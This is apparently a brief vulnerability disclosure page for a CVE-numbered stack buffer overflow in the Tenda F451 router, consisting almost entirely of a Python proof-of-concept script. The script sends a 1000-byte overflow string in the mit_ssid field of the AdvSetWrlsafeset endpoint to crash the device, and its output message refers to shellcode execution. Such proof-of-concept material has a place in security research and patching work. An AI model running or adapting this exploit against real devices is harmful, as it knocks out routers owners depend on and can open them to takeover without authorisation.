CVE-2026-5988 Tenda F451栈溢出漏洞

import requests # Target URL (replace with actual IP) target_url = "http://192.168.0.1/goform/AdvSetWrlsafeset" # Vulnerable parameter: mit_ssid # Sending a large payload to trigger stack-based buffer overflow payload_buffer = b"A" * 1000 data = { "mit_ssid": payload_buffer } try: # Sending the malicious request # Low privileges (PR:L) might be required, so cookies/headers may be needed response = requests.post(target_url, data=data, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully. Check if the device crashed or shellcode executed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")